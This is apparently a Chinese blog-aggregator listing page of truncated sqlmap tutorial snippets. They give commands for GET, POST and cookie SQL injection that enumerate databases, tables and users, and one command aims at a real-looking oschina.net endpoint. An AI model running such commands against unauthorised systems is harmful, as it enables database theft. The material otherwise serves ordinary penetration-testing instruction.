Options（选项）：–version 显示程序的版本号并退出-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别：0-6（默认为 1）Target（目标）：以下至少需要设置其中一个选项，设置目标 URL。-d DIRECT 直接连接到数据库。-u URL, –url=URL 目 ...
分类：
数据库 时间：
2019-05-30 01:08:31
阅读次数：
145
sqlmap是一款专业的sql注入工具， 让你告别人工注入， 程序高效自动注入 前提是你有找到注入点 ， 工具的官方网站：http://sqlmap.org/ kali系统默认安装sqlmap， 不需要额外安装： sqlmap的命令行帮助： 枚举数据库列表： 根据数据库， 枚举数据库表： 根据数据库 ...
分类：
数据库 时间：
2018-02-09 23:56:49
阅读次数：
269
SQLMAPGET方式的注入sqlmap.py-u"URL"POST方式的注入sqlmap.py-u"URL"--data"POST参数=POST数值"COOKIE方式的注入sqlmap.py-u"URL"--cookie"cookies值"爆数据库名(cookie根据实际的情况)sqlmap.py-u"URL"[--cookie"cookies值"]--dbs爆目标数据库中的表sqlmap.py-u"URL"[--cooki..
分类：
数据库 时间：
2017-09-29 00:24:13
阅读次数：
142
--technique 这个参数可以指定sqlmap使用的探测技术，默认情况下会测试所有的方式。支持的探测方式如下：B: Boolean-based blind SQL injection（布尔型注入）E: Error-based SQL injection（报错型注入）U: UNION query ...
分类：
数据库 时间：
2017-09-08 18:33:34
阅读次数：
269
sqlmap速查 /pentest/database/sqlmap/txt/ common-columns.txt 字段字典 common-outputs.txt common-tables.txt 表字典 keywords.txt oracle-default-passwords.txt user ...
分类：
数据库 时间：
2017-04-22 17:39:03
阅读次数：
241
基础命令 注入 MySQL mssql access 直接爆表.然后你懂的BT5里面的话前面就要加pythonsqlmap.py -u url --dbs //爆数据库sqlmap.py -u url --current-db //爆当前库sqlmap.py -u url --current-use ...
分类：
数据库 时间：
2017-03-08 21:17:45
阅读次数：
188
sqlmap是一款开源的注入工具，支持几乎所有的数据库，支持get/post/cookie注入，支持错误回显注入/盲注，还有其他多种注入方法。 支持代理，指纹识别技术判断数据库 。而sqm(sqlmapGUI)是一个图形界面，在上面可以快速地组装参数，构造sqlmap命令语句，来调用sqlmap来执 ...
分类：
数据库 时间：
2016-04-03 15:46:59
阅读次数：
322
相信大家平时 用sqlmap 命令，比如? python sqlmap.py -u"https://team.oschina.net/action/team/create" --data="name=onlyGuest&ident=onlyGuest&sident=onlyGuest&temp=1431349990862" --dbs --dbms=mysql ...
分类：
数据库 时间：
2015-05-11 22:15:10
阅读次数：
555
Cookie注入：1.假设这个网址"http://www.xxx.org/Show.asp？id=9"存在注入点.2.sqlmap命令提示符下输入下列内容进行跑表。 sqlmap -u "http://www.xxx.org/Show.asp" --cookie "id=9" --table --....
分类：
数据库 时间：
2014-11-22 22:45:35
阅读次数：
243
